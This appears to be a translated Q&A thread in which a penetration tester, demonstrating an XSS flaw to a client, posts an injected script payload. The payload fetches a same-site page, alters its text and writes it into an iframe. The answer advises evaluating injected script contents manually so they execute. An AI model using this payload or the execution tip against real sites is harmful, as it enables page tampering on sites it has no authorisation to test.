注入的JavaScript函数未执行

时间:2012-01-19 10:37:29

标签: javascript function iframe

作为XSS漏洞的一部分,我试图向客户展示,我正在尝试注入一些将会

的JavaScript
  1. 检索网页
  2. 修改该网页的来源,
  3. 使用新来源生成iframe。
  4. 以下是我的代码:

    <script>
    
    function getSource()
    
    {
    xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function()
        {
             if (xmlhttp.readyState==4 && xmlhttp.status==200)
                {
                  var content=xmlhttp.responseText;
                  content = content.replace(/hey/gi, "howdy");
                  var ifrm = document.getElementById('myIframe');
                  ifrm = (ifrm.contentWindow) ? ifrm.contentWindow : (ifrm.contentDocument.document) ? ifrm.contentDocument.document : ifrm.contentDocument;         
                  ifrm.document.open();
                  ifrm.document.write(content);
                  ifrm.document.close();
                 }            
        }
        xmlhttp.open("GET","http://www.site.com/pagetopull.html",true);
        xmlhttp.send();
    }
    
    </script>
    
    <button onclick="getSource();">click</button>
    
    <iframe id="myIframe"></iframe>
    

    如果我将此代码包装在html标签中,然后将其放入自己的页面并单击,则代码将完美执行,并且检索到的页面将显示在iframe中。但是,当我将此代码注入我的测试表面时,会出现iframe,但点击不会执行该功能并检索所需的网页。我正在从同一个域中检索一个页面,因此它没有违反相同的原始策略(据我所知)。谁能告诉我我做错了什么?非常感谢。

1 个答案:

答案 0 :(得分:1)

这是因为默认情况下会忽略SCRIPT标记的内容。您必须遍历SCRIPT对象的结果HTML数据的DOM树,并手动eval其内容。